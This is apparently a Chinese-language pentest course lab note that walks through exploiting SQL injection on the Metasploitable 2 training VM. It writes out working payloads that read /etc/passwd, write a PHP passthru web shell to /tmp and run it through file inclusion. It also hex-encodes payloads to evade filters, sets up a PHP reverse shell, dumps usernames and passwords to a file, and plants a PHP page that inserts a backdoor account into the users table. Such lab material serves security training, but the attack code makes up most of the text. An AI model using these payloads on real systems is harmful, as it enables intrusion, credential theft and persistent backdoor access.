任务091:手动漏洞挖掘-SQL注入
这个是接着上一个1,SQL注入,查看服务器系统,拿到账号密码。写的
开始实验靶机metasploitable-linux-2.0.0
利用一个函数进行读取系统文件
下面都是用burp进行发送的请求
发送的请求是1234
使用burp看看请求的内容
在burp工具里发送到Repeater模块里
在这里面原始数据直接可以看见发的信息
双击就能修改里面的1234
下面全部是使用的burp工具进行发送请求
- 读取文件/etc/passwd
' union SELECT null, load_file('/etc/passwd') --
第一个字段 null是空的意思
第二个字段load_file这个函数是读取文件的,然后读取的是/etc/passwd文件
还可以查看其他文件,要看看你的权限够不够了
看一下结果可以看见已经读取出来了
- 写文件发现是写不进去的
2.1. ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --
第一个字段null是空的意思
第二个字段是放的是"<?php passthru($_GET['cmd']); ?>"
这个是一个页面木马,将他放到www目录下应为是页面木马
看一下结果发现没有叫这个木马文件写入到里面应为权限不够
应为权限只是sql进程的权限
2.2.不指定绝对路径是可以写进去的
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE " 'a.php' --
就算能写进去也找不到写进去的文件,就算能找到也有可能访问不了的
看一下结果
-
利用sql注入在利用上节课的文件包含漏洞进行写入木马在利用木马
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
叫木马写到tmp文件里
将木马文件写入到tmp目录里
tmp目录是任何人都可以访问和修改文件的所以写入到tmp目录里
然后在里用文件包含漏洞去运行写到tmp里被写入到木马文件
看一结果发现已经写进去了
在利用文件包含运行木马来施行命令
看一下运行的结果可以运行
-
进行16进制编码
有的情况会安全机制会过滤想比如php,<,>还有很多
遇见这种情况我们可以进行各种编码
下面我就用16进制编码
用kali 的xxd来进行16进制编码
4.1.发送反向连接shell
kali自动一个php木马文件
在/usr/share/webshells/php/php-reverse-shell.php
叫木马的反向的ip设置成自己的
开始16进制解析
发现有有换行有换行的话会出现服务器解析不了
下面是用个管道叫换行符删除。tr -d (要删除的东西)
叫16编码好的用burp发送到服务器里
向服务器端发送的时候用为字太多就发送失败了,你可以用一个少的shell木马这个就不演示了
4.2.叫3.的php木马利用文件包来进行访问,下面是叫他进行16进制编码在进行实现一下
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
叫这个php的木马保存到b.php里
然后在进行16进制编码
可以看到已经写进去
在利用文件包含运行木马来施行命令
看一下运行的结果可以运行
-
保持和下载数据库
比如我们要查看账号密码数据库的话要是里面的有1万个账号密码web可能就崩溃了所有我们可以保存下载查看和批量查看
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--
查看到的账号密码OUTFILE到文件里然后在用文件包含漏洞进行访问,如果web可以文件包含漏洞,那只能批量访问了。
看一下结果发送成功
然后利用文件包含漏洞进行访问账号密码
-
一个思路 web渗透可能会出现很多限制,意想不到的情况
下面用这个php代码创建一个表单的页面然后在这个页面,然后在这个页面里用户账号数据库里面插入一个账号,
就算拿到了密码现在的企业都是安全很高的,要进行密码解码破解是很难的,
下面的代码也是通过sql漏洞那2个字段进行
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --
下面就用浏览器的hackbar工具进行演示
看一下结果已经写进去了
利用文件包含漏洞进行访问,可以看见可以添加密码了